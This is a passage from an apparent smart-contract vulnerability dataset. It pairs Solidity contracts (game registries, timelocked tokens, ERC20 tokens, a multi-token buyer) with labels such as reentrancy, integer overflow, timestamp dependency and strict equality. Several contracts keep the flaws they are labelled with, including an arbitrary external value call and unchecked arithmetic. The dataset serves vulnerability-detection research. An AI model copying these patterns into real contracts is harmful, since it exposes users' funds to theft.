社区地址 */ address public communityAddr; function initCommunityAddr(address addr) isAdmin() public { require(address(addr) != address(0x0), ""Empty address not allowed.""); require(address(communityAddr) == address(0x0), ""Community address has been set.""); communityAddr = addr ; } /****************************************************************************************** 合约权限管理 设计:会设计用户权限管理, 9 => 管理员角色 0 => 没有任何权限 */ // 用户地址到角色的表 mapping(address => uint256) private users ; // 初始化 function initUsers() private { // 初始化下列地址帐户为管理员 users[0x89b2E7Ee504afd522E07F80Ae7b9d4D228AF3fe2] = 9 ; users[msg.sender] = 9 ; } // 是否是管理员 modifier isAdmin() { uint256 role = users[msg.sender]; require((role==9), ""Must be admin.""); _; } /****************************************************************************************** 检查是帐户地址还是合约地址 */ modifier isHuman { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""Humans only""); _; } /****************************************************************************************** 事件定义 */ event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); // 注册玩家信息 struct Player { address addr; bytes32 name; uint256 laff; uint256 names; } /****************************************************************************************** 注册费用:初始为 0.01 ether 条件: 1. 必须是管理员才可以更新 */ uint256 public registrationFee_ = 10 finney; function setRegistrationFee(uint256 _fee) isAdmin() public { registrationFee_ = _fee ; } /****************************************************************************************** 注册游戏 */ // 注册的游戏列表 mapping(uint256 => PlayerBookReceiverInterface) public games_; // 注册的游戏名称列表 mapping(address => bytes32) public gameNames_; // 注册的游戏ID列表 mapping(address => uint256) public gameIDs_; // 游戏数目 uint256 public gID_; // 判断是否是注册游戏 modifier isRegisteredGame() { require(gameIDs_[msg.sender] != 0); _; } /****************************************************************************************** 新增游戏 条件: 1. 游戏不存在 */ function addGame(address _gameAddress, string _gameNameStr) isAdmin() public { require(gameIDs_[_gameAddress] == 0, ""Game already registered""); gID_++; bytes32 _name = _gameNameStr.nameFilter(); gameIDs_[_gameAddress] = gID_; gameNames_[_gameAddress] = _name; games_[gID_] = PlayerBookReceiverInterface(_gameAddress); } /****************************************************************************************** 玩家信息 */ // 玩家数目 uint256 public pID_; // 玩家地址=>玩家ID mapping (address => uint256) public pIDxAddr_; // 玩家名称=>玩家ID mapping (bytes32 => uint256) public pIDxName_; // 玩家ID => 玩家数据 mapping (uint256 => Player) public plyr_; // 玩家ID => 玩家名称 => mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // 玩家ID => 名称编号 => 玩家名称 mapping (uint256 => mapping (uint256 => bytes32)) public plyrNameList_; /****************************************************************************************** 初始玩家 */ function initPlayers() private { pID_ = 0; } /****************************************************************************************** 判断玩家名字是否有效(是否已经注册过) */ function checkIfNameValid(string _nameStr) public view returns(bool){ bytes32 _name = _nameStr.nameFilter(); if (pIDxName_[_name] == 0) return (true); else return (false); } /****************************************************************************************** 构造函数 */ constructor() public { // 初始化用户 initUsers() ; // 初始化玩家 initPlayers(); // 初始化社区基金地址 communityAddr = address(0x3C07f9f7164Bf72FDBefd9438658fAcD94Ed4439); } /****************************************************************************************** 注册名字 _nameString: 名字 _affCode:推荐人编号 _all:是否是注册到所有游戏中 条件: 1. 是账户地址 2. 要付费 */ function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable{ // 要求注册费用,不需要付费 //require (msg.value >= registrationFee_, ""You have to pay the name fee""); bytes32 _name = NameFilter.nameFilter(_nameString); address _addr = msg.sender; bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; if (_affCode != 0 && _affCode != plyr_[_pID].laff && _affCode != _pID) { plyr_[_pID].laff = _affCode; }else{ _affCode = 0; } registerNameCore(_pID, _addr, _affCode, _name, _isNewPlayer, _all); } /** 注册名字 _nameString: 名字 _affCode:推荐人地址 _all:是否是注册到所有游戏中 条件: 1. 是账户地址 2. 要付费 */ function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable{ // 要求注册费用,不需要付费 //require (msg.value >= registrationFee_, ""You have to pay the name fee""); bytes32 _name = NameFilter.nameFilter(_nameString); address _addr = msg.sender; bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; uint256 _affID; if (_affCode != address(0) && _affCode != _addr){ _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff){ plyr_[_pID].laff = _affID; } } registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); } /** 注册名字 _nameString: 名字 _affCode:推荐人名称 _all:是否是注册到所有游戏中 条件: 1. 是账户地址 2. 要付费 */ function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable{ // 要求注册费用,不需要付费 //require (msg.value >= registrationFee_, ""You have to pay the name fee""); bytes32 _name = NameFilter.nameFilter(_nameString); address _addr = msg.sender; bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; uint256 _affID; if (_affCode != """" && _affCode != _name){ _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff){ plyr_[_pID].laff = _affID; } } registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); } /** 注册 _pID: 玩家编号 _addr: 玩家地址 _affID: 从属 _name: 名称 _isNewPlayer: 是否是新玩家 _all: 是否注册到所有游戏 */ function registerNameCore(uint256 _pID, address _addr, uint256 _affID, bytes32 _name, bool _isNewPlayer, bool _all) private { // 判断是否已经注册过 if (pIDxName_[_name] != 0) require(plyrNames_[_pID][_name] == true, ""That names already taken""); // plyr_[_pID].name = _name; pIDxName_[_name] = _pID; if (plyrNames_[_pID][_name] == false) { plyrNames_[_pID][_name] = true; plyr_[_pID].names++; plyrNameList_[_pID][plyr_[_pID].names] = _name; } // 将注册费用转到社区基金合约账户中 if(address(this).balance>0){ if(address(communityAddr) != address(0x0)) { communityAddr.transfer(address(this).balance); } } if (_all == true) for (uint256 i = 1; i <= gID_; i++) games_[i].receivePlayerInfo(_pID, _addr, _name, _affID); emit onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, msg.value, now); } /** 如果是新玩家,则返回真 */ function determinePID(address _addr) private returns (bool) { if (pIDxAddr_[_addr] == 0){ pID_++; pIDxAddr_[_addr] = pID_; plyr_[pID_].addr = _addr; return (true) ; }else{ return (false); } } /** */ function addMeToGame(uint256 _gameID) isHuman() public { require(_gameID <= gID_, ""Game doesn't exist yet""); address _addr = msg.sender; uint256 _pID = pIDxAddr_[_addr]; require(_pID != 0, ""You dont even have an account""); uint256 _totalNames = plyr_[_pID].names; // add players profile and most recent name games_[_gameID].receivePlayerInfo(_pID, _addr, plyr_[_pID].name, plyr_[_pID].laff); // add list of all names if (_totalNames > 1) for (uint256 ii = 1; ii <= _totalNames; ii++) games_[_gameID].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]); } function addMeToAllGames() isHuman() public { address _addr = msg.sender; uint256 _pID = pIDxAddr_[_addr]; require(_pID != 0, ""You dont even have an account""); uint256 _laff = plyr_[_pID].laff; uint256 _totalNames = plyr_[_pID].names; bytes32 _name = plyr_[_pID].name; for (uint256 i = 1; i <= gID_; i++){ games_[i].receivePlayerInfo(_pID, _addr, _name, _laff); if (_totalNames > 1) for (uint256 ii = 1; ii <= _totalNames; ii++) games_[i].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]); } } function useMyOldName(string _nameString) isHuman() public { // filter name, and get pID bytes32 _name = _nameString.nameFilter(); uint256 _pID = pIDxAddr_[msg.sender]; // make sure they own the name require(plyrNames_[_pID][_name] == true, ""Thats not a name you own""); // update their current name plyr_[_pID].name = _name; } /** PlayerBookInterface Interface */ function getPlayerID(address _addr) external returns (uint256){ determinePID(_addr); return (pIDxAddr_[_addr]); } function getPlayerName(uint256 _pID) external view returns (bytes32){ return (plyr_[_pID].name); } function getPlayerLAff(uint256 _pID) external view returns (uint256) { return (plyr_[_pID].laff); } function getPlayerAddr(uint256 _pID) external view returns (address) { return (plyr_[_pID].addr); } function getNameFee() external view returns (uint256){ return (registrationFee_); } function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256){ // 要求注册费用,不需要付费 //require (msg.value >= registrationFee_, ""You have to pay the name fee""); bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; uint256 _affID = _affCode; if (_affID != 0 && _affID != plyr_[_pID].laff && _affID != _pID) { plyr_[_pID].laff = _affID; } else if (_affID == _pID) { _affID = 0; } registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } // function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256){ // 要求注册费用,不需要付费 //require (msg.value >= registrationFee_, ""You have to pay the name fee""); bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; uint256 _affID; if (_affCode != address(0) && _affCode != _addr){ _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff){ plyr_[_pID].laff = _affID; } } registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } // function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256){ // 要求注册费用,不需要付费 //require (msg.value >= registrationFee_, ""You have to pay the name fee""); bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; uint256 _affID; if (_affCode != """" && _affCode != _name){ _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff){ plyr_[_pID].laff = _affID; } } registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } }",./Dataset/ether strict equality (SE),3,3 6370.sol,"pragma solidity ^0.4.24; contract Ownable { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { require(token.transfer(to, value)); } function safeTransferFrom( ERC20 token, address from, address to, uint256 value ) internal { require(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { require(token.approve(spender, value)); } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract AMTTimelockedToken is Ownable { using SafeERC20 for ERC20Basic; using SafeMath for uint256; uint8 public constant decimals = 18; ERC20Basic token; uint256 public constant MANAGE_CAP = 1 * (10 ** 8) * (10 ** uint256(decimals)); uint256 public constant DEVELOP_CAP = 2 * (10 ** 8) * (10 ** uint256(decimals)); uint256 public constant MARKET_CAP = 1 * (10 ** 8) * (10 ** uint256(decimals)); uint256 public constant FINANCE_CAP = 6 * (10 ** 7) * (10 ** uint256(decimals)); uint256 public constant MANAGE_CAP_PER_ROUND = 2 * (10 ** 7) * (10 ** uint256(decimals)); uint256 public constant DEVELOP_CAP_PER_ROUND = 4 * (10 ** 7) * (10 ** uint256(decimals)); uint256 public constant MARKET_CAP_PER_ROUND = 2 * (10 ** 7) * (10 ** uint256(decimals)); uint256 public constant FINANCE_CAP_PER_ROUND = 12 * (10 ** 6) * (10 ** uint256(decimals)); mapping (address => uint256) releasedTokens; address beneficiary_manage; address beneficiary_develop; address beneficiary_market; address beneficiary_finance; uint256 first_round_release_time; uint256 second_round_release_time; uint256 third_round_release_time; uint256 forth_round_release_time; uint256 fifth_round_release_time; constructor( ERC20Basic _token, address _beneficiary_manage, address _beneficiary_develop, address _beneficiary_market, address _beneficiary_finance, uint256 _first_round_release_time, uint256 _second_round_release_time, uint256 _third_round_release_time, uint256 _forth_round_release_time, uint256 _fifth_round_release_time ) public { token = _token; beneficiary_manage = _beneficiary_manage; beneficiary_develop = _beneficiary_develop; beneficiary_market = _beneficiary_market; beneficiary_finance = _beneficiary_finance; first_round_release_time = _first_round_release_time; second_round_release_time = _second_round_release_time; third_round_release_time = _third_round_release_time; forth_round_release_time = _forth_round_release_time; fifth_round_release_time = _fifth_round_release_time; } function getToken() public view returns (ERC20Basic) { return token; } function getBeneficiaryManage() public view returns (address) { return beneficiary_manage; } function getBeneficiaryDevelop() public view returns (address) { return beneficiary_develop; } function getBeneficiaryMarket() public view returns (address) { return beneficiary_market; } function getBeneficiaryFinance() public view returns (address) { return beneficiary_finance; } function getFirstRoundReleaseTime() public view returns (uint256) { return first_round_release_time; } function getSecondRoundReleaseTime() public view returns (uint256) { return second_round_release_time; } function getThirdRoundReleaseTime() public view returns (uint256) { return third_round_release_time; } function getForthRoundReleaseTime() public view returns (uint256) { return forth_round_release_time; } function getFifthRoundReleaseTime() public view returns (uint256) { return fifth_round_release_time; } function releasedTokenOf(address _owner) public view returns (uint256) { return releasedTokens[_owner]; } function validateReleasedToken(uint256 _round) internal onlyOwner { uint256 releasedTokenOfManage = releasedTokens[beneficiary_manage]; uint256 releasedTokenOfDevelop = releasedTokens[beneficiary_develop]; uint256 releasedTokenOfMarket = releasedTokens[beneficiary_market]; uint256 releasedTokenOfFinance = releasedTokens[beneficiary_finance]; require(releasedTokenOfManage < MANAGE_CAP_PER_ROUND.mul(_round)); require(releasedTokenOfManage.add(MANAGE_CAP_PER_ROUND) <= MANAGE_CAP_PER_ROUND.mul(_round)); require(releasedTokenOfDevelop < DEVELOP_CAP_PER_ROUND.mul(_round)); require(releasedTokenOfDevelop.add(DEVELOP_CAP_PER_ROUND) <= DEVELOP_CAP_PER_ROUND.mul(_round)); require(releasedTokenOfMarket < MARKET_CAP_PER_ROUND.mul(_round)); require(releasedTokenOfMarket.add(MARKET_CAP_PER_ROUND) <= MARKET_CAP_PER_ROUND.mul(_round)); require(releasedTokenOfFinance < FINANCE_CAP_PER_ROUND.mul(_round)); require(releasedTokenOfFinance.add(FINANCE_CAP_PER_ROUND) <= FINANCE_CAP_PER_ROUND.mul(_round)); uint256 totalRoundCap = MANAGE_CAP_PER_ROUND.add(DEVELOP_CAP_PER_ROUND).add(MARKET_CAP_PER_ROUND).add(FINANCE_CAP_PER_ROUND); require(token.balanceOf(this) >= totalRoundCap); token.safeTransfer(beneficiary_manage, MANAGE_CAP_PER_ROUND); releasedTokens[beneficiary_manage] = releasedTokens[beneficiary_manage].add(MANAGE_CAP_PER_ROUND); token.safeTransfer(beneficiary_develop, DEVELOP_CAP_PER_ROUND); releasedTokens[beneficiary_develop] = releasedTokens[beneficiary_develop].add(DEVELOP_CAP_PER_ROUND); token.safeTransfer(beneficiary_market, MARKET_CAP_PER_ROUND); releasedTokens[beneficiary_market] = releasedTokens[beneficiary_market].add(MARKET_CAP_PER_ROUND); token.safeTransfer(beneficiary_finance, FINANCE_CAP_PER_ROUND); releasedTokens[beneficiary_finance] = releasedTokens[beneficiary_finance].add(FINANCE_CAP_PER_ROUND); } function releaseToken() public onlyOwner { if (block.timestamp >= fifth_round_release_time) { validateReleasedToken(5); return; }else if (block.timestamp >= forth_round_release_time) { validateReleasedToken(4); return; }else if (block.timestamp >= third_round_release_time) { validateReleasedToken(3); return; }else if (block.timestamp >= second_round_release_time) { validateReleasedToken(2); return; }else if (block.timestamp >= first_round_release_time) { validateReleasedToken(1); return; } } }",./Dataset/timestamp dependency (TP)/,6,6 638.sol,"pragma solidity ^0.4.24; contract SafeMath { function safeMul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c>=a && c>=b); return c; } } contract AMeiToken is SafeMath { address public owner; string public name; string public symbol; uint public decimals; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); bool lock = false; constructor( uint256 initialSupply, string tokenName, string tokenSymbol, uint decimalUnits ) public { owner = msg.sender; name = tokenName; symbol = tokenSymbol; decimals = decimalUnits; totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; } modifier onlyOwner { require(msg.sender == owner); _; } modifier isLock { require(!lock); _; } function setLock(bool _lock) onlyOwner public{ lock = _lock; } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function _transfer(address _from, address _to, uint _value) isLock internal { require (_to != 0x0); require (balanceOf[_from] >= _value); require (balanceOf[_to] + _value > balanceOf[_to]); require(!frozenAccount[_from]); require(!frozenAccount[_to]); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function burn(uint256 _value) onlyOwner public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) onlyOwner public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; emit Burn(_from, _value); return true; } function mintToken(address target, uint256 mintedAmount) onlyOwner public { uint256 _amount = mintedAmount * 10 ** uint256(decimals); balanceOf[target] += _amount; totalSupply += _amount; emit Transfer(this, target, _amount); } function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } function transferBatch(address[] _to, uint256 _value) public returns (bool success) { for (uint i=0; i<_to.length; i++) { _transfer(msg.sender, _to[i], _value); } return true; } }",./Dataset/integer overflow (OF)/,4,4 0x025cc54e5209b3e68ae0116ccede1a71ec313a87_GQHToken.sol,"contract EIP20Interface { uint256 public totalSupply; function balanceOf(address _owner) public view returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract GQHToken is EIP20Interface { uint256 constant private MAX_UINT256 = 2**256 - 1; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; string public name; uint8 public decimals; string public symbol; function GQHToken( uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol ) public { balances[msg.sender] = _initialAmount; totalSupply = _initialAmount; name = _tokenName; decimals = _decimalUnits; symbol = _tokenSymbol; } function transfer(address _to, uint256 _value) public returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { uint256 allowance = allowed[_from][msg.sender]; require(balances[_from] >= _value && allowance >= _value); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } }",Safe,8,8 31900.sol,"pragma solidity ^0.4.24; // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: contracts/interface/IBasicMultiToken.sol contract IBasicMultiToken is ERC20 { event Bundle(address indexed who, address indexed beneficiary, uint256 value); event Unbundle(address indexed who, address indexed beneficiary, uint256 value); function tokensCount() public view returns(uint256); function tokens(uint256 _index) public view returns(ERC20); function allTokens() public view returns(ERC20[]); function allDecimals() public view returns(uint8[]); function allBalances() public view returns(uint256[]); function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; function bundle(address _beneficiary, uint256 _amount) public; function unbundle(address _beneficiary, uint256 _value) public; function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; } // File: contracts/interface/IMultiToken.sol contract IMultiToken is IBasicMultiToken { event Update(); event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); function allWeights() public view returns(uint256[] _weights); function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); } // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { require(token.transfer(to, value)); } function safeTransferFrom( ERC20 token, address from, address to, uint256 value ) internal { require(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { require(token.approve(spender, value)); } } // File: openzeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol /** * @title Contracts that should be able to recover tokens * @author SylTi * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. * This will prevent any accidental loss of tokens. */ contract CanReclaimToken is Ownable { using SafeERC20 for ERC20Basic; /** * @dev Reclaim all ERC20Basic compatible tokens * @param token ERC20Basic The address of the token contract */ function reclaimToken(ERC20Basic token) external onlyOwner { uint256 balance = token.balanceOf(this); token.safeTransfer(owner, balance); } } // File: contracts/registry/MultiBuyer.sol contract MultiBuyer is CanReclaimToken { using SafeMath for uint256; function buy( IMultiToken _mtkn, uint256 _minimumReturn, ERC20 _throughToken, address[] _exchanges, bytes _datas, uint[] _datasIndexes, // including 0 and LENGTH values uint256[] _values ) public payable { require(_datasIndexes.length == _exchanges.length + 1, ""buy: _datasIndexes should start with 0 and end with LENGTH""); require(_values.length == _exchanges.length, ""buy: _values should have the same length as _exchanges""); for (uint i = 0; i < _exchanges.length; i++) { bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { data[j - _datasIndexes[i]] = _datas[j]; } if (_throughToken != address(0) && i > 0) { _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); } require(_exchanges[i].call.value(_values[i])(data), ""buy: exchange arbitrary call failed""); if (_throughToken != address(0)) { _throughToken.approve(_exchanges[i], 0); } } j = _mtkn.totalSupply(); // optimization totalSupply uint256 bestAmount = uint256(-1); for (i = _mtkn.tokensCount(); i > 0; i--) { ERC20 token = _mtkn.tokens(i - 1); token.approve(_mtkn, token.balanceOf(this)); uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); if (amount < bestAmount) { bestAmount = amount; } } require(bestAmount >= _minimumReturn, ""buy: return value is too low""); _mtkn.bundle(msg.sender, bestAmount); if (address(this).balance > 0) { msg.sender.transfer(address(this).balance); } } }",./Dataset/reentrancy (RE)/,5,5 33015.sol,"pragma solidity ^0.4.18; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = 